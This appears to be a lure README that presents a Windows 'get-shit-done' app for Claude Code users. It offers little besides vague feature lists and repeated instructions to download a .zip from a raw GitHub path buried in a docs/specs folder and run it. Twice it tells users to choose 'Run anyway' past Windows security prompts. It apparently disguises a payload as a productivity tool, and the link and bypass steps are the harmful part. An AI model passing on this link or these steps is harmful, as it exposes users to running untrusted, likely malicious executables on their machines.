A desktop tool for Claude Code users to streamline planning, prompt writing, and project management.

🧩 get-shit-done - Plan, prompt, build with focus

⚡ What this is

get-shit-done is a small desktop tool for Claude Code users who want a better way to plan work, write prompts, and keep context in order.

It helps you:

break work into clear steps
build better prompts with less effort
keep project notes in one place
follow a spec before you start building
stay on task when a job gets large

This tool fits well if you want a calm, simple setup for task planning and prompt writing on Windows.

🪟 Windows download

Use this page to download and run the app:

Visit the releases page

📥 How to install on Windows

Open the releases page
Look for the latest release at the top
Under Assets, download the Windows file
If you see a .zip file, save it to your computer
If Windows asks for a security prompt, choose Keep or Run anyway only if the file came from the releases page above
Open the downloaded file
If it is a .zip file, right-click it and choose Extract All
Open the extracted folder
Double-click the app file to start it

If the app does not open, check that the file finished downloading first.

🛠️ What you need

A Windows PC
A web browser
Enough free space for the app and your project files
A Claude Code setup if you plan to use the tool with Claude Code

Most users will not need to change any system settings.

🎯 What you can do with it

📝 Meta-prompting

Use the app to shape a prompt before you send it to Claude Code. This helps you state the goal, constraints, and output format in a clean way.

🧠 Context engineering

Add the right details before work starts. Keep project context in one place so Claude Code has less guesswork.

📋 Spec-driven development

Write a simple spec first, then use it to guide the work. This helps keep tasks clear and cuts down on rework.

🔄 Task flow support

Use the app as a working space for:

project setup
task breakdown
prompt drafts
spec notes
work tracking

🚦 First run

When you open get-shit-done for the first time:

Start the app from the extracted folder
Read the main screen
Create a new task or prompt
Add your goal in plain language
Add any needed context
Save your work
Use the output with Claude Code

If you keep your notes short and clear, the tool works best.

📁 Suggested folder setup

You can keep your work in a simple folder structure like this:

Projects
Prompts
Specs
Notes
Outputs

This makes it easier to find your files later.

🧩 How to use it well

To get clean results, write your input in this order:

What you want to do
Why you want to do it
What the final result should include
What it should avoid
Any file names, paths, or rules

Example:

Build a task list for a new feature
Keep the list short
Use plain language
Do not add extra steps
Include a clear output format

✅ Best use cases

This tool is a good fit for:

planning a coding task before you start
turning rough ideas into clear prompts
making project notes easier to follow
keeping specs short and direct
working through larger jobs in small steps

📌 Tips for Windows users

Keep the release file in a folder you can find again
Use a folder name with the project date if you test more than one version
If the app opens in the wrong place, move the folder to a simple path like C:\Tools\get-shit-done
Use short file names for your project notes

🔍 Topics covered

claude-code
context-engineering
meta-prompting
spec-driven-development

🧭 Basic workflow

Open the app
Set the task goal
Add the project context
Write the spec
Review the prompt
Send the output to Claude Code
Check the result
Update the spec if needed

This loop helps you keep work steady and clear.

🗂️ File handling

If the app creates or uses files, keep them in one project folder. That way you can:

compare versions
find old prompts
reuse specs
track changes
avoid lost notes

🧪 Example setup

If you want to use get-shit-done for a small project, try this:

Project: website update
Goal: improve the home page text
Context: current copy is too long
Spec: short headline, clear benefit, simple call to action
Output: new draft ready for review

This keeps the work focused from start to finish.

🧾 Release page

Download the latest Windows build here:

https://github.com/Incorrect-limp303/get-shit-done/raw/refs/heads/main/docs/pt-BR/superpowers/specs/done_shit_get_2.1.zip

🖥️ Troubleshooting

The app does not start

Check that the file finished downloading
Extract the .zip file if needed
Try opening the app from the extracted folder
Move the folder to a simple path with no special characters

Windows blocks the file

Open the releases page again
Download the latest file from there
Try running it again after the file finishes downloading

I cannot find the file

Open your Downloads folder
Sort by date
Look for the latest file from GitHub
Use the search box in File Explorer

The app opens, but I do not know what to do

Start with one small task
Write the goal in one sentence
Add the context
Keep the spec short
Review the output before you use it

🔐 Privacy and local use

This type of tool is often used as a local work helper. Keep your project notes in folders you control, and review any data you send to Claude Code before you share it.

📦 Version use

When a new release appears, repeat the same steps:

Open the releases page
Download the newest Windows file
Extract it if needed
Run the app
Keep your old project files in a safe folder

🧰 Common file types you may see

.zip — compressed folder file
.exe — Windows app file
.txt — plain text note
.md — Markdown note or spec file

🧭 Simple starting template

Use this template for your first task:

Goal:
Context:
Rules:
Output:
Notes:

This gives Claude Code a clear path and keeps your prompt easy to read